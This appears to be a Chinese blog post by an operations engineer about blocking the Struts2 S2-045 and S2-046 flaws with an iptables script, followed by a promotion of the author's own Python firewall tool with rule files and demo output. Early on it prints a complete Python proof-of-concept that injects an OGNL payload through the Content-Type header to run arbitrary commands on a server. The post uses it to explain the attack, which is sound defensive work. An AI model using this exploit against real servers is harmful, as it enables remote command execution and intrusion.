开发中遇到一个问题,Struts2 已经升级到2.3.32但是故障依旧,绞尽脑汁找不出原因。此路不同另寻它路,我便想从运维角度暂时解决这个问题,给开发留出足够的时间解决故障。
于是我想到了iptables 防火墙并下来的这个脚本。
https://github.com/netkiller/firewall/blob/master/shell/struts2.sh
这是一个针对 Struts2 S2-046, S2-045漏洞封杀的防火墙脚本。
首先分析 S2-046, S2-045 漏洞攻击的原理。测试代码如下:
代码语言:javascript复制#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" sys.argv[2] "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
except Exception,e:
print e
poc()
攻击原理是想Struts Action Post 注入数据,好了知道这个原来就可以实现封锁了(在不改动一行代码的情况下)
- - - - - - - - -
顺便接受一下我开发的firewall,我用它替代CentOS 7 firewalld。
Install
代码语言:javascript复制地址 https://github.com/netkiller/firewall
安装 bash install.sh
防火墙规则连采用面向对象方式,可以加入循环,条件判断等等....
Demo
代码语言:javascript复制$ sudo /etc/init.d/firewall
Usage: /etc/init.d/firewall {start|stop|status|restart}
$ sudo /etc/init.d/firewall start
$ sudo /etc/init.d/firewall status
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
44 6163 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 state NEW
0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 443,80 state NEW
2 2884 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited
Chain OUTPUT (policy ACCEPT 45 packets, 6893 bytes)
pkts bytes target prot opt in out source destination
0 0 REJECT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 20,21 reject-with icmp-port-unreachable
$ sudo /etc/init.d/firewall stop
Rule file
代码语言:javascript复制$ sudo cat /srv/firewall/libexec/www.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from firewall import *
########################################
# Web Application
########################################
www = Firewall()
www.flush()
www.policy(www.INPUT,www.ACCEPT)
www.policy(www.OUTPUT,www.ACCEPT)
www.policy(www.FORWARD,www.ACCEPT)
www.input().state(('RELATED','ESTABLISHED')).accept()
www.input().protocol('icmp').accept()
www.input().interface('-i','lo').accept()
www.input().protocol('tcp').dport('22').state('NEW').accept()
www.input().protocol('tcp').dport(('443','80')).state('NEW').accept()
www.output().protocol('tcp').dport(('20','21')).reject()
#www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP',2,20).drop()
#www.input().protocol('tcp').inbound('eth0').dport('80').connlimit(30).drop()
#www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP').accept()
# DDOS
#www.input().proto('tcp').dport("80").string('XXDD0S').drop()
www.input().reject('--reject-with icmp-host-prohibited')
www.forward().reject('--reject-with icmp-host-prohibited')
def start():
www.start()
def stop():
www.stop()
def restart():
www.stop()
www.start()
def show():
www.show()
def status():
www.status()
def main():
show()
return( 0 )
if __name__ == '__main__':
main()
Testing API
代码语言:javascript复制#!/usr/bin/python3
from firewall import Firewall
single = Firewall()
single.policy(single.INPUT,single.DROP)
single.policy(single.OUTPUT,single.ACCEPT)
single.policy(single.FORWARD,single.DROP)
single.input().protocol('icmp').drop()
single.input().protocol('tcp').dport(('3389','5900')).accept()
single.input().protocol('tcp').dport(('137','138','139','145')).accept()
single.show()
#single.run()
#single.list()